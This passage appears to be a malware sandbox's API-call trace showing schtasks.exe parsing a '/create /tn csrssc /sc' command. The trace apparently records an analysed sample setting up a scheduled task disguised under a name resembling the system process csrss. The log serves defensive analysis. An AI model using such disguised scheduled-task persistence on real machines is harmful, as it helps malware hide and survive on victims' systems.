"pagefile_0x0000000000380000" filename = "" Region: id = 1654 start_va = 0x390000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1655 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1656 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1669 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 96 os_tid = 0xec8 [0057.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe60 | out: lpSystemTimeAsFileTime=0xdfe60*(dwLowDateTime=0x4b3df9a0, dwHighDateTime=0x1d9eb0c)) [0057.204] GetCurrentProcessId () returned 0xec4 [0057.204] GetCurrentThreadId () returned 0xec8 [0057.204] GetTickCount () returned 0x1763efa [0057.204] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xdfe68 | out: lpPerformanceCount=0xdfe68*=2486368757040) returned 1 [0057.205] GetModuleHandleW (lpModuleName=0x0) returned 0xff690000 [0057.205] __set_app_type (_Type=0x1) [0057.205] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6b972c) returned 0x0 [0057.206] __wgetmainargs (in: _Argc=0xff6d1240, _Argv=0xff6d1250, _Env=0xff6d1248, _DoWildCard=0, _StartInfo=0xff6d125c | out: _Argc=0xff6d1240, _Argv=0xff6d1250, _Env=0xff6d1248) returned 0 [0057.207] _onexit (_Func=0xff6c2ab0) returned 0xff6c2ab0 [0057.207] _onexit (_Func=0xff6c2ac4) returned 0xff6c2ac4 [0057.207] _onexit (_Func=0xff6c2afc) returned 0xff6c2afc [0057.207] _onexit (_Func=0xff6c2b58) returned 0xff6c2b58 [0057.207] _onexit (_Func=0xff6c2b80) returned 0xff6c2b80 [0057.208] _onexit (_Func=0xff6c2ba8) returned 0xff6c2ba8 [0057.208] _onexit (_Func=0xff6c2bd0) returned 0xff6c2bd0 [0057.208] _onexit (_Func=0xff6c2bf8) returned 0xff6c2bf8 [0057.208] _onexit (_Func=0xff6c2c20) returned 0xff6c2c20 [0057.208] _onexit (_Func=0xff6c2c48) returned 0xff6c2c48 [0057.208] _onexit (_Func=0xff6c2c70) returned 0xff6c2c70 [0057.209] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.209] WinSqmIsOptedIn () returned 0x0 [0057.210] GetProcessHeap () returned 0x280000 [0057.210] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x297fa0 [0057.210] SetLastError (dwErrCode=0x0) [0057.210] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0057.210] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0057.211] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0057.211] VerifyVersionInfoW (in: lpVersionInformation=0xdf620, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdf620) returned 1 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29bb10 [0057.211] lstrlenW (lpString="") returned 0 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x2) returned 0x29bb30 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295a30 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29bb50 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295a60 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295a90 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295ac0 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295af0 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29bb70 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295b20 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295b50 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295b80 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295bb0 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29bb90 [0057.211] GetProcessHeap () returned 0x280000 [0057.211] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295be0 [0057.211] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295c10 [0057.212] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295c40 [0057.212] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295c70 [0057.212] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0057.212] SetLastError (dwErrCode=0x0) [0057.212] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295ca0 [0057.212] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295cd0 [0057.212] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295d00 [0057.212] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295d30 [0057.212] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295d60 [0057.212] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29bbb0 [0057.212] _memicmp (_Buf1=0x29bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.212] GetProcessHeap () returned 0x280000 [0057.212] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x208) returned 0x29bd50 [0057.212] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29bd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0057.213] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0057.215] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0057.215] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0057.217] GetProcessHeap () returned 0x280000 [0057.217] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x74e) returned 0x29c320 [0057.217] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0057.217] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x29c320 | out: lpData=0x29c320) returned 1 [0057.217] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0057.217] VerQueryValueW (in: pBlock=0x29c320, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdf708, puLen=0xdf770 | out: lplpBuffer=0xdf708*=0x29c6bc, puLen=0xdf770) returned 1 [0057.220] _memicmp (_Buf1=0x29bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.220] _vsnwprintf (in: _Buffer=0x29bd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdf6e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0057.220] VerQueryValueW (in: pBlock=0x29c320, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdf778, puLen=0xdf768 | out: lplpBuffer=0xdf778*=0x29c4e8, puLen=0xdf768) returned 1 [0057.220] lstrlenW (lpString="schtasks.exe") returned 12 [0057.220] lstrlenW (lpString="schtasks.exe") returned 12 [0057.220] lstrlenW (lpString=".EXE") returned 4 [0057.220] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0057.221] lstrlenW (lpString="schtasks.exe") returned 12 [0057.221] lstrlenW (lpString=".EXE") returned 4 [0057.221] _memicmp (_Buf1=0x29bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.221] lstrlenW (lpString="schtasks") returned 8 [0057.221] GetProcessHeap () returned 0x280000 [0057.221] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295e50 [0057.221] GetProcessHeap () returned 0x280000 [0057.221] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cc30 [0057.222] GetProcessHeap () returned 0x280000 [0057.222] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cc60 [0057.222] GetProcessHeap () returned 0x280000 [0057.222] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cc90 [0057.222] GetProcessHeap () returned 0x280000 [0057.222] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29bbd0 [0057.222] _memicmp (_Buf1=0x29bbd0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.222] GetProcessHeap () returned 0x280000 [0057.222] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xa0) returned 0x29c150 [0057.222] GetProcessHeap () returned 0x280000 [0057.222] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ccc0 [0057.222] GetProcessHeap () returned 0x280000 [0057.222] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ccf0 [0057.222] GetProcessHeap () returned 0x280000 [0057.222] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cd20 [0057.222] GetProcessHeap () returned 0x280000 [0057.222] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29bbf0 [0057.222] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.222] GetProcessHeap () returned 0x280000 [0057.222] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x200) returned 0x29d400 [0057.222] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0057.222] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0057.223] GetProcessHeap () returned 0x280000 [0057.223] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x30) returned 0x297bc0 [0057.223] _vsnwprintf (in: _Buffer=0x29c150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdf6e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0057.223] GetProcessHeap () returned 0x280000 [0057.223] GetProcessHeap () returned 0x280000 [0057.223] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c320) returned 1 [0057.223] GetProcessHeap () returned 0x280000 [0057.223] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c320) returned 0x74e [0057.223] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c320 | out: hHeap=0x280000) returned 1 [0057.223] SetLastError (dwErrCode=0x0) [0057.223] GetThreadLocale () returned 0x409 [0057.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.224] lstrlenW (lpString="?") returned 1 [0057.224] GetThreadLocale () returned 0x409 [0057.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.224] lstrlenW (lpString="create") returned 6 [0057.224] GetThreadLocale () returned 0x409 [0057.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.224] lstrlenW (lpString="delete") returned 6 [0057.224] GetThreadLocale () returned 0x409 [0057.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.224] lstrlenW (lpString="query") returned 5 [0057.224] GetThreadLocale () returned 0x409 [0057.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.224] lstrlenW (lpString="change") returned 6 [0057.224] GetThreadLocale () returned 0x409 [0057.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.224] lstrlenW (lpString="run") returned 3 [0057.224] GetThreadLocale () returned 0x409 [0057.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.224] lstrlenW (lpString="end") returned 3 [0057.224] GetThreadLocale () returned 0x409 [0057.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.224] lstrlenW (lpString="showsid") returned 7 [0057.224] GetThreadLocale () returned 0x409 [0057.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.224] SetLastError (dwErrCode=0x0) [0057.225] SetLastError (dwErrCode=0x0) [0057.225] lstrlenW (lpString="/create") returned 7 [0057.225] lstrlenW (lpString="-/") returned 2 [0057.225] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.225] lstrlenW (lpString="?") returned 1 [0057.225] lstrlenW (lpString="?") returned 1 [0057.225] GetProcessHeap () returned 0x280000 [0057.225] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29c200 [0057.225] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.225] GetProcessHeap () returned 0x280000 [0057.225] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xa) returned 0x29c320 [0057.225] lstrlenW (lpString="create") returned 6 [0057.225] GetProcessHeap () returned 0x280000 [0057.225] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29c340 [0057.225] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.225] GetProcessHeap () returned 0x280000 [0057.225] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x14) returned 0x29c360 [0057.225] _vsnwprintf (in: _Buffer=0x29c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|?|") returned 3 [0057.225] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|create|") returned 8 [0057.225] lstrlenW (lpString="|?|") returned 3 [0057.225] lstrlenW (lpString="|create|") returned 8 [0057.225] SetLastError (dwErrCode=0x490) [0057.225] lstrlenW (lpString="create") returned 6 [0057.225] lstrlenW (lpString="create") returned 6 [0057.225] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.225] GetProcessHeap () returned 0x280000 [0057.225] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c320) returned 1 [0057.225] GetProcessHeap () returned 0x280000 [0057.225] RtlReAllocateHeap (Heap=0x280000, Flags=0xc, Ptr=0x29c320, Size=0x14) returned 0x29c380 [0057.225] lstrlenW (lpString="create") returned 6 [0057.225] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.225] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|create|") returned 8 [0057.226] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|create|") returned 8 [0057.226] lstrlenW (lpString="|create|") returned 8 [0057.226] lstrlenW (lpString="|create|") returned 8 [0057.226] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0057.226] SetLastError (dwErrCode=0x0) [0057.226] SetLastError (dwErrCode=0x0) [0057.226] SetLastError (dwErrCode=0x0) [0057.226] lstrlenW (lpString="/tn") returned 3 [0057.226] lstrlenW (lpString="-/") returned 2 [0057.226] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.226] lstrlenW (lpString="?") returned 1 [0057.226] lstrlenW (lpString="?") returned 1 [0057.226] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.226] lstrlenW (lpString="tn") returned 2 [0057.226] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.226] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|?|") returned 3 [0057.226] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tn|") returned 4 [0057.226] lstrlenW (lpString="|?|") returned 3 [0057.226] lstrlenW (lpString="|tn|") returned 4 [0057.226] SetLastError (dwErrCode=0x490) [0057.226] lstrlenW (lpString="create") returned 6 [0057.226] lstrlenW (lpString="create") returned 6 [0057.226] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.226] lstrlenW (lpString="tn") returned 2 [0057.226] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.226] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|create|") returned 8 [0057.226] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tn|") returned 4 [0057.226] lstrlenW (lpString="|create|") returned 8 [0057.226] lstrlenW (lpString="|tn|") returned 4 [0057.226] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0057.226] SetLastError (dwErrCode=0x490) [0057.227] lstrlenW (lpString="delete") returned 6 [0057.227] lstrlenW (lpString="delete") returned 6 [0057.227] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.227] lstrlenW (lpString="tn") returned 2 [0057.227] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.227] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|delete|") returned 8 [0057.227] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tn|") returned 4 [0057.227] lstrlenW (lpString="|delete|") returned 8 [0057.227] lstrlenW (lpString="|tn|") returned 4 [0057.227] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0057.227] SetLastError (dwErrCode=0x490) [0057.227] lstrlenW (lpString="query") returned 5 [0057.227] lstrlenW (lpString="query") returned 5 [0057.227] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.227] lstrlenW (lpString="tn") returned 2 [0057.227] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.227] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|query|") returned 7 [0057.227] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tn|") returned 4 [0057.227] lstrlenW (lpString="|query|") returned 7 [0057.227] lstrlenW (lpString="|tn|") returned 4 [0057.227] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0057.227] SetLastError (dwErrCode=0x490) [0057.227] lstrlenW (lpString="change") returned 6 [0057.227] lstrlenW (lpString="change") returned 6 [0057.227] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.227] lstrlenW (lpString="tn") returned 2 [0057.227] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.227] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|change|") returned 8 [0057.227] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tn|") returned 4 [0057.227] lstrlenW (lpString="|change|") returned 8 [0057.227] lstrlenW (lpString="|tn|") returned 4 [0057.228] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0057.228] SetLastError (dwErrCode=0x490) [0057.228] lstrlenW (lpString="run") returned 3 [0057.228] lstrlenW (lpString="run") returned 3 [0057.228] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.228] lstrlenW (lpString="tn") returned 2 [0057.228] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.228] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|run|") returned 5 [0057.228] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tn|") returned 4 [0057.228] lstrlenW (lpString="|run|") returned 5 [0057.228] lstrlenW (lpString="|tn|") returned 4 [0057.228] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0057.228] SetLastError (dwErrCode=0x490) [0057.228] lstrlenW (lpString="end") returned 3 [0057.228] lstrlenW (lpString="end") returned 3 [0057.228] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.228] lstrlenW (lpString="tn") returned 2 [0057.228] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.228] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|end|") returned 5 [0057.228] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tn|") returned 4 [0057.228] lstrlenW (lpString="|end|") returned 5 [0057.228] lstrlenW (lpString="|tn|") returned 4 [0057.228] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0057.228] SetLastError (dwErrCode=0x490) [0057.228] lstrlenW (lpString="showsid") returned 7 [0057.228] lstrlenW (lpString="showsid") returned 7 [0057.228] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.228] GetProcessHeap () returned 0x280000 [0057.229] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c380) returned 1 [0057.229] GetProcessHeap () returned 0x280000 [0057.229] RtlReAllocateHeap (Heap=0x280000, Flags=0xc, Ptr=0x29c380, Size=0x16) returned 0x29c380 [0057.229] lstrlenW (lpString="tn") returned 2 [0057.229] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.229] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|showsid|") returned 9 [0057.229] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tn|") returned 4 [0057.229] lstrlenW (lpString="|showsid|") returned 9 [0057.229] lstrlenW (lpString="|tn|") returned 4 [0057.229] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0057.229] SetLastError (dwErrCode=0x490) [0057.229] SetLastError (dwErrCode=0x490) [0057.229] SetLastError (dwErrCode=0x0) [0057.229] lstrlenW (lpString="/tn") returned 3 [0057.229] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0057.229] SetLastError (dwErrCode=0x490) [0057.229] SetLastError (dwErrCode=0x0) [0057.229] lstrlenW (lpString="/tn") returned 3 [0057.229] GetProcessHeap () returned 0x280000 [0057.229] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x8) returned 0x29c320 [0057.229] GetProcessHeap () returned 0x280000 [0057.229] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cd50 [0057.230] SetLastError (dwErrCode=0x0) [0057.230] SetLastError (dwErrCode=0x0) [0057.230] lstrlenW (lpString="csrssc") returned 6 [0057.230] lstrlenW (lpString="-/") returned 2 [0057.230] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0057.230] SetLastError (dwErrCode=0x490) [0057.230] SetLastError (dwErrCode=0x490) [0057.230] SetLastError (dwErrCode=0x0) [0057.230] lstrlenW (lpString="csrssc") returned 6 [0057.230] StrChrIW (lpStart="csrssc", wMatch=0x3a) returned 0x0 [0057.231] SetLastError (dwErrCode=0x490) [0057.231] SetLastError (dwErrCode=0x0) [0057.231] lstrlenW (lpString="csrssc") returned 6 [0057.231] GetProcessHeap () returned 0x280000 [0057.231] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29c3b0 [0057.231] GetProcessHeap () returned 0x280000 [0057.231] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cd80 [0057.231] SetLastError (dwErrCode=0x0) [0057.231] SetLastError (dwErrCode=0x0) [0057.231] lstrlenW (lpString="/sc") returned 3 [0057.231] lstrlenW (lpString="-/") returned 2 [0057.231] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.231] lstrlenW (lpString="?") returned 1 [0057.231] lstrlenW (lpString="?") returned 1 [0057.231] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.231] lstrlenW (lpString="sc") returned 2 [0057.231] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.231] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|?|") returned 3 [0057.231] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|sc|") returned 4 [0057.231] lstrlenW (lpString="|?|") returned 3 [0057.231] lstrlenW (lpString="|sc|") returned 4 [0057.231] SetLastError (dwErrCode=0x490) [0057.231] lstrlenW (lpString="create") returned 6 [0057.231] lstrlenW (lpString="create") returned 6 [0057.231] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.231] lstrlenW (lpString="sc") returned 2 [0057.231] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.231] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|create|") returned 8 [0057.231] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|sc|") returned 4 [0057.231] lstrlenW (lpString="|create|") returned 8 [0057.231] lstrlenW (lpString="|sc|") returned 4 [0057.231] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0057.232] SetLastError (dwErrCode=0x490) 